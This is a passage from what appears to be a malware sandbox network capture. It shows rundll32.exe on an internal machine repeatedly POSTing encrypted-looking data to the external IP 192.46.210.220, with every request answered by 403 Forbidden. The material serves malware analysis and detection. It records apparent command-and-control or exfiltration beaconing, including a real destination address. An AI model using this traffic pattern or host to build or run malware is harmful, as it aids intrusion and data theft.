2021-10-28 02:46:59 UTC	283	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:00 UTC	293	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	50023	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:59 UTC	288	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:59 UTC	288	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:00 UTC	293	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	50030	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:03 UTC	293	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:03 UTC	293	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:04 UTC	302	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49777	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:15 UTC	29	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:15 UTC	29	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:16 UTC	34	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	50031	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:03 UTC	298	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:03 UTC	298	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:04 UTC	303	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	50038	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:07 UTC	303	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:07 UTC	303	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:08 UTC	312	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	50039	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:07 UTC	308	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:07 UTC	308	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:08 UTC	313	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	50046	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:11 UTC	313	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:11 UTC	313	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:12 UTC	322	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	50047	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:11 UTC	318	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:11 UTC	318	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:12 UTC	323	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	50054	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:15 UTC	323	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:15 UTC	323	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:16 UTC	328	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	50055	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:16 UTC	328	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:16 UTC	328	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:17 UTC	332	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:17 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	50063	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:20 UTC	333	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:20 UTC	333	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:20 UTC	342	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	50064	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:20 UTC	337	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:20 UTC	338	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:21 UTC	342	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:21 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	50074	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:24 UTC	343	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:24 UTC	343	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:24 UTC	347	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49784	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:20 UTC	34	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
